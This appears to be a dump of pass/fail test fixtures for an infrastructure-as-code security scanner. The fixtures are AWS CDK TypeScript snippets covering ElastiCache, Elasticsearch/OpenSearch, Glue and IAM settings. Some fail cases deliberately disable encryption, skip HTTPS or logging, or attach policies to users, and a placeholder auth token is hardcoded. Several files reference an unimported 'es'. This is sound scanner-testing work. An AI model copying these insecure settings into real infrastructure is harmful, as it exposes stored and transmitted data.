    "content": "import * as cdk from 'aws-cdk-lib';\nimport {aws_elasticache as elasticache} from 'aws-cdk-lib';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const cfnReplicationGroup = new elasticache.CfnReplicationGroup(this, 'MyCfnReplicationGroup', {\n            replicationGroupDescription: 'replicationGroupDescription',\n            transitEncryptionEnabled: true,\n            authToken: 'token'\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticacheReplicationGroupEncryptionAtTransitAuthToken/pass_2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport {aws_elasticache as elasticache} from 'aws-cdk-lib';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const cfnReplicationGroup = new elasticache.CfnReplicationGroup(this, 'MyCfnReplicationGroup', {\n            replicationGroupDescription: 'replicationGroupDescription',\n            authToken: 'token',\n            transitEncryptionEnabled: true,\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticsearchDomainEnforceHTTPS/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as es from 'aws-cdk-lib/aws-elasticsearch';\nimport * as opensearch from 'aws-cdk-lib/aws-opensearchservice';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const domain = new es.Domain(this, 'Domain', {\n            version: es.ElasticsearchVersion.V7_4\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticsearchDomainEnforceHTTPS/fail_2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as opensearch from 'aws-cdk-lib/aws-opensearchservice';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const domain = new opensearch.Domain(this, 'Domain', {\n            version: es.ElasticsearchVersion.V7_4\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticsearchDomainEnforceHTTPS/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as es from 'aws-cdk-lib/aws-elasticsearch';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const domain = new es.Domain(this, 'Domain', {\n            version: es.ElasticsearchVersion.V7_4,\n            enforceHttps: true\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticsearchDomainEnforceHTTPS/pass_2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as opensearch from 'aws-cdk-lib/aws-opensearchservice';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const domain = new opensearch.Domain(this, 'Domain', {\n            version: es.ElasticsearchVersion.V7_4,\n            enforceHttps: true\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticsearchDomainLogging/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as es from 'aws-cdk-lib/aws-elasticsearch';\nimport * as opensearch from 'aws-cdk-lib/aws-opensearchservice';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const domain = new es.Domain(this, 'Domain', {\n            version: es.ElasticsearchVersion.V7_4\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticsearchDomainLogging/fail_2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as opensearch from 'aws-cdk-lib/aws-opensearchservice';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const domain = new opensearch.Domain(this, 'Domain', {\n            version: es.ElasticsearchVersion.V7_4\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticsearchDomainLogging/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as es from 'aws-cdk-lib/aws-elasticsearch';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const domain = new es.Domain(this, 'Domain', {\n            version: es.ElasticsearchVersion.V7_4,\n            logging: {\n                appLogEnabled: true\n            }\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticsearchDomainLogging/pass_2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as opensearch from 'aws-cdk-lib/aws-opensearchservice';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const domain = new opensearch.Domain(this, 'Domain', {\n            version: es.ElasticsearchVersion.V7_4,\n            logging: {\n                appLogEnabled: true\n            }\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticsearchEncryption/fail.ts",
    "content": "// The code below shows an example of how to instantiate this type.\n// The values are placeholders you should change.\nimport {aws_elasticsearch as elasticsearch} from 'aws-cdk-lib';\n\nconst encryptionAtRestOptionsProperty1: elasticsearch.CfnDomain.EncryptionAtRestOptionsProperty = {\n    enabled: false,\n    kmsKeyId: 'kmsKeyId',\n};\n\nlet encryptionAtRestOptionsProperty2: elasticsearch.CfnDomain.EncryptionAtRestOptionsProperty = {\n    enabled: false,\n};\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticsearchEncryption/fail2.ts",
    "content": "import {aws_elasticsearch as elasticsearch} from 'aws-cdk-lib';\n\nconst domain = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', {\n    encryptionAtRestOptions: {\n        enabled: false, // Enable encryption at rest\n        kmsKeyId: 'your-KMS-key-ID', // Specify your KMS key ID\n    }\n});\n\nconst domain2 = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', {\n    encryptionAtRestOptions: {\n        enabled: false, // Enable encryption at rest\n    }\n});\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticsearchEncryption/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as elasticsearch from 'aws-cdk-lib/aws-elasticsearch';\n\n\nconst domain = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', {\n    encryptionAtRestOptions: {\n        enabled: true, // Enable encryption at rest\n        kmsKeyId: 'your-KMS-key-ID', // Specify your KMS key ID\n    },\n});\n\nconst domain3 = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', {\n    encryptionAtRestOptions: {\n        enabled: true, // Enable encryption at rest\n    }\n});\n\nconst encryptionAtRestOptionsProperty3: elasticsearch.CfnDomain.EncryptionAtRestOptionsProperty = {\n    enabled: true,\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticsearchNodeToNodeEncryption/fail.ts",
    "content": "// The code below shows an example of how to instantiate this type.\n// The values are placeholders you should change.\nimport { aws_elasticsearch as elasticsearch } from 'aws-cdk-lib';\n\nconst encryptionAtRestOptionsProperty1: elasticsearch.CfnDomain.NodeToNodeEncryptionOptionsProperty = {\n    enabled: false,\n};\n\nlet encryptionAtRestOptionsProperty2: elasticsearch.CfnDomain.NodeToNodeEncryptionOptionsProperty = {\n    enabled: false,\n};\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticsearchNodeToNodeEncryption/fail2.ts",
    "content": "import { aws_elasticsearch as elasticsearch } from 'aws-cdk-lib';\n\nconst domain = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', {\n    nodeToNodeEncryptionOptions: {\n        enabled: false, // Enable encryption at rest\n        kmsKeyId: 'your-KMS-key-ID', // Specify your KMS key ID\n    }\n});\n\nconst domain2 = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', {\n    nodeToNodeEncryptionOptions: {\n        enabled: false, // Enable encryption at rest\n    }\n});\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticsearchNodeToNodeEncryption/pass.ts",
    "content": "import { aws_elasticsearch as elasticsearch } from 'aws-cdk-lib';\n\nconst domain = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', {\n    nodeToNodeEncryptionOptions: {\n        enabled: true, // Enable encryption at rest\n    },\n});\n\nconst domain3 = new elasticsearch.CfnDomain(this, 'MyElasticsearchDomain', {\n    nodeToNodeEncryptionOptions: {\n        enabled: true, // Enable encryption at rest\n    }\n});\n\nconst encryptionAtRestOptionsProperty3: elasticsearch.CfnDomain.NodeToNodeEncryptionOptionsProperty = {\n    enabled: true,\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/GlueDataCatalogEncryption/fail.ts",
    "content": "// The code below shows an example of how to instantiate this type.\n// The values are placeholders you should change.\nimport {aws_glue as glue} from 'aws-cdk-lib';\n\nconst cfnDataCatalogEncryptionSettingsProps1: glue.CfnDataCatalogEncryptionSettingsProps = {\n    catalogId: 'catalogId',\n    dataCatalogEncryptionSettings: {\n        connectionPasswordEncryption: {\n            kmsKeyId: 'kmsKeyId',\n            returnConnectionPasswordEncrypted: false,\n        },\n        encryptionAtRest: {\n            catalogEncryptionMode: 'DISABLED',\n            catalogEncryptionServiceRole: 'catalogEncryptionServiceRole',\n            sseAwsKmsKeyId: 'sseAwsKmsKeyId',\n        },\n    },\n};\n\nlet cfnDataCatalogEncryptionSettingsProps2: glue.CfnDataCatalogEncryptionSettingsProps = {\n    catalogId: 'catalogId',\n    dataCatalogEncryptionSettings: {\n        connectionPasswordEncryption: {\n            returnConnectionPasswordEncrypted: true,\n        },\n    },\n    encryptionAtRest: {\n        catalogEncryptionMode: 'DISABLED',\n        catalogEncryptionServiceRole: 'catalogEncryptionServiceRole',\n        sseAwsKmsKeyId: 'sseAwsKmsKeyId',\n    },\n};"
  },
  {
    "path": "cdk_integration_tests/src/typescript/GlueDataCatalogEncryption/fail2.ts",
    "content": "import { aws_glue as glue } from 'aws-cdk-lib';\n\nconst cfnDataCatalogEncryptionSettings = new glue.CfnDataCatalogEncryptionSettings(this, 'MyCfnDataCatalogEncryptionSettings', {\n  catalogId: 'catalogId',\n  dataCatalogEncryptionSettings: {\n    connectionPasswordEncryption: {\n      kmsKeyId: 'kmsKeyId',\n      returnConnectionPasswordEncrypted: false,\n    },\n    encryptionAtRest: {\n      catalogEncryptionMode: 'SSE-KMS',\n      catalogEncryptionServiceRole: 'catalogEncryptionServiceRole',\n      sseAwsKmsKeyId: 'sseAwsKmsKeyId',\n    },\n  },\n});\n\nconst cfnDataCatalogEncryptionSettings2 = new glue.CfnDataCatalogEncryptionSettings(this, 'MyCfnDataCatalogEncryptionSettings', {\n  catalogId: 'catalogId',\n  dataCatalogEncryptionSettings: {\n    connectionPasswordEncryption: {\n      returnConnectionPasswordEncrypted: true,\n    },\n    encryptionAtRest: {\n      catalogEncryptionMode: 'DISABLED',\n      catalogEncryptionServiceRole: 'catalogEncryptionServiceRole',\n      sseAwsKmsKeyId: 'sseAwsKmsKeyId',\n    },\n  },\n});\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/GlueDataCatalogEncryption/pass.ts",
    "content": "import { aws_glue as glue } from 'aws-cdk-lib';\n\nconst cfnDataCatalogEncryptionSettings = new glue.CfnDataCatalogEncryptionSettings(this, 'MyCfnDataCatalogEncryptionSettings', {\n  catalogId: 'catalogId',\n  dataCatalogEncryptionSettings: {\n    connectionPasswordEncryption: {\n      kmsKeyId: 'kmsKeyId',\n      returnConnectionPasswordEncrypted: true,\n    },\n    encryptionAtRest: {\n      catalogEncryptionMode: \"SSE-KMS\",\n      catalogEncryptionServiceRole: 'catalogEncryptionServiceRole',\n      sseAwsKmsKeyId: 'sseAwsKmsKeyId',\n    },\n  },\n});\n\nconst cfnDataCatalogEncryptionSettingsProps: glue.CfnDataCatalogEncryptionSettingsProps = {\n  catalogId: 'catalogId',\n  dataCatalogEncryptionSettings: {\n    connectionPasswordEncryption: {\n      kmsKeyId: 'kmsKeyId',\n      returnConnectionPasswordEncrypted: true,\n    },\n    encryptionAtRest: {\n      catalogEncryptionMode : \"SSE-KMS\",\n      catalogEncryptionServiceRole: 'catalogEncryptionServiceRole',\n      sseAwsKmsKeyId: 'sseAwsKmsKeyId',\n    },\n  },\n};"
  },
  {
    "path": "cdk_integration_tests/src/typescript/GlueSecurityConfiguration/fail.ts",
    "content": "import { aws_glue as glue } from 'aws-cdk-lib';\n\nconst cfnSecurityConfigurationProps1:  glue.CfnSecurityConfigurationProps = {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'DISABLE',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [],\n  },\n  name: 'name',\n};\n\nconst cfnSecurityConfigurationProps2: glue.CfnSecurityConfigurationProps = {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'DISABLE',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"SSE-S3\" }],\n  },\n  name: 'name',\n};\n\nconst cfnSecurityConfigurationProps3: glue.CfnSecurityConfigurationProps = {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'DISABLE',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"SSE-KMS\" }],\n  },\n  name: 'name',\n};\n\nconst cfnSecurityConfigurationProps4: glue.CfnSecurityConfigurationProps = {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'DISABLE',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"DISABLE\" }],\n  },\n  name: 'name',\n};\n\nconst cfnSecurityConfigurationProps5: glue.CfnSecurityConfigurationProps = {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'DISABLE',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'CSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"DISABLE\" }],\n  },\n  name: 'name',\n};\n\nconst cfnSecurityConfigurationProps6: glue.CfnSecurityConfigurationProps = {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'DISABLE',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'CSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"SSE-S3\" }],\n  },\n  name: 'name',\n};\n\nconst cfnSecurityConfigurationProps7: glue.CfnSecurityConfigurationProps = {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'DISABLE',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'CSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"SSE-KMS\" }],\n  },\n  name: 'name',\n};\n\nconst cfnSecurityConfigurationProps8: glue.CfnSecurityConfigurationProps = {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'CSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"DISABLE\" }],\n  },\n  name: 'name',\n};\n\nconst cfnSecurityConfigurationProps9: glue.CfnSecurityConfigurationProps = {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'CSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"SSE-KMS\" }],\n  },\n  name: 'name',\n};\n\nconst cfnSecurityConfigurationProps10: glue.CfnSecurityConfigurationProps =  {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'CSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"SSE-S3\" }],\n  },\n  name: 'name',\n};\n\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/GlueSecurityConfiguration/fail2.ts",
    "content": "import { aws_glue as glue } from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'DISABLE',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [],\n  },\n  name: 'name',\n});\n\nconst cfnSecurityConfiguration2 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'DISABLE',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"SSE-S3\" }],\n  },\n  name: 'name',\n});\n\nconst cfnSecurityConfiguration3 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'DISABLE',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"SSE-KMS\" }],\n  },\n  name: 'name',\n});\n\nconst cfnSecurityConfiguration4 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'DISABLE',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"DISABLE\" }],\n  },\n  name: 'name',\n});\n\nconst cfnSecurityConfiguration5 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'DISABLE',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'CSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"DISABLE\" }],\n  },\n  name: 'name',\n});\n\nconst cfnSecurityConfiguration6 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'DISABLE',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'CSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"SSE-S3\" }],\n  },\n  name: 'name',\n});\n\nconst cfnSecurityConfiguration7 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'DISABLE',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'CSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"SSE-KMS\" }],\n  },\n  name: 'name',\n});\n\nconst cfnSecurityConfiguration8 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'CSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"DISABLE\" }],\n  },\n  name: 'name',\n});\n\nconst cfnSecurityConfiguration9 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'CSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"SSE-KMS\" }],\n  },\n  name: 'name',\n});\n\nconst cfnSecurityConfiguration10 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'CSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{ s3EncryptionMode: \"SSE-S3\" }],\n  },\n  name: 'name',\n});\n\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/GlueSecurityConfiguration/pass.ts",
    "content": "import { aws_glue as glue } from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'CSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{\n      kmsKeyArn: 'kmsKeyArn',\n      s3EncryptionMode: 'SSE-KMS',\n    }],\n  },\n  name: 'name',\n});\n\nconst cfnSecurityConfiguration2 = new glue.CfnSecurityConfiguration(this, 'MyCfnSecurityConfiguration', {\n  encryptionConfiguration: {\n    cloudWatchEncryption: {\n      cloudWatchEncryptionMode: 'SSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    jobBookmarksEncryption: {\n      jobBookmarksEncryptionMode: 'CSE-KMS',\n      kmsKeyArn: 'kmsKeyArn',\n    },\n    s3Encryptions: [{\n      kmsKeyArn: 'kmsKeyArn',\n      s3EncryptionMode: 'SSE-S3',\n    }],\n  },\n  name: 'name',\n});\n\nconst cfnDataCatalogEncryptionSettingsProps: glue.CfnDataCatalogEncryptionSettingsProps = {\n  catalogId: 'catalogId',\n  dataCatalogEncryptionSettings: {\n    connectionPasswordEncryption: {\n      kmsKeyId: 'kmsKeyId',\n      returnConnectionPasswordEncrypted: true,\n    },\n    encryptionAtRest: {\n      catalogEncryptionMode : \"SSE-KMS\",\n      catalogEncryptionServiceRole: 'catalogEncryptionServiceRole',\n      sseAwsKmsKeyId: 'sseAwsKmsKeyId',\n    },\n  },\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/GlueSecurityConfigurationEnabled/fail.ts",
    "content": "import { aws_glue as glue } from 'aws-cdk-lib';\n\nconst cfnSecurityConfigurationProps1:  glue.CfnCrawlerProps = {\n  name: 'name',\n};\n\nconst cfnSecurityConfigurationProps2: glue.CfnDevEndpointProps = {\n  name: 'name',\n};\n\nconst cfnSecurityConfigurationProps3: glue.CfnJobProps = {\n  name: 'name',\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/GlueSecurityConfigurationEnabled/fail2.ts",
    "content": "import { aws_glue as glue } from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new glue.CfnCrawler(this, 'MyCfnSecurityConfiguration', {\n  name: 'name',\n});\n\nconst cfnSecurityConfiguration2 = new glue.CfnDevEndpoint(this, 'MyCfnSecurityConfiguration', {\n  name: 'name',\n});\n\nconst cfnSecurityConfiguration3 = new glue.CfnJob(this, 'MyCfnSecurityConfiguration', {\n  name: 'name',\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/GlueSecurityConfigurationEnabled/pass.ts",
    "content": "import {aws_glue as glue} from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new glue.CfnCrawler(this, 'MyCfnSecurityConfiguration', {\n    crawlerSecurityConfiguration: 'securityConfiguration',\n    name: 'name',\n});\n\nconst cfnSecurityConfiguration2 = new glue.CfnDevEndpoint(this, 'MyCfnSecurityConfiguration', {\n    securityConfiguration: 'securityConfiguration',\n    name: 'name',\n});\n\nconst cfnSecurityConfiguration3 = new glue.CfnJob(this, 'MyCfnSecurityConfiguration', {\n    securityConfiguration: 'securityConfiguration',\n    name: 'name',\n});\n\nconst cfnSecurityConfigurationProps1: glue.CfnCrawlerProps = {\n    name: 'name',\n    crawlerSecurityConfiguration: 'securityConfiguration',\n};\n\nconst cfnSecurityConfigurationProps2: glue.CfnDevEndpointProps = {\n    name: 'name',\n    securityConfiguration: 'securityConfiguration',\n};\n\nconst cfnSecurityConfigurationProps3: glue.CfnJobProps = {\n    name: 'name',\n    securityConfiguration: 'securityConfiguration',\n};\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/IAMPolicyAttachedToGroupOrRoles/fail.ts",
    "content": "import { aws_iam as iam } from 'aws-cdk-lib';\n\nconst cfnSecurityConfigurationProps1: iam.PolicyProps = {\n  statements: [{}],\n  users: [{}]\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/IAMPolicyAttachedToGroupOrRoles/fail2.ts",
    "content": "import { aws_iam as iam } from 'aws-cdk-lib';\n\nconst a = new iam.Policy(this, 'userpool-policy', {\n  statements: [new iam.PolicyStatement({\n    actions: ['cognito-idp:DescribeUserPool'],\n    resources: ['Arn'],\n  })],\n  users: ['sdsd']\n});\n\nconst b = new iam.Policy(this, 'userpool-policy', {\n  statements: [new iam.PolicyStatement({\n    actions: ['cognito-idp:DescribeUserPool'],\n    resources: ['Arn'],\n  })],\n});\nconsole.log('dsd')\nb.attachToUser({})\n\nconst c = new iam.Policy(this, 'userpool-policy', {\n  statements: [new iam.PolicyStatement({\n    actions: ['cognito-idp:DescribeUserPool'],\n    resources: ['Arn'],\n  })],\n});\nc.attachToUser({})"
  },
  {
    "path": "cdk_integration_tests/src/typescript/IAMPolicyAttachedToGroupOrRoles/pass.ts",
    "content": "import { aws_iam as iam } from 'aws-cdk-lib';\n\nconst a = new iam.Policy(this, 'userpool-policy', {\n  statements: [new iam.PolicyStatement({\n    actions: ['cognito-idp:DescribeUserPool'],\n    resources: ['Arn'],\n  })],\n});\n\nconst cfnSecurityConfigurationProps1: iam.PolicyProps = {\n  statements: [new iam.PolicyStatement({\n    actions: ['cognito-idp:DescribeUserPool'],\n    resources: ['Arn'],\n  })],\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/KinesisStreamEncryptionType/fail.ts",
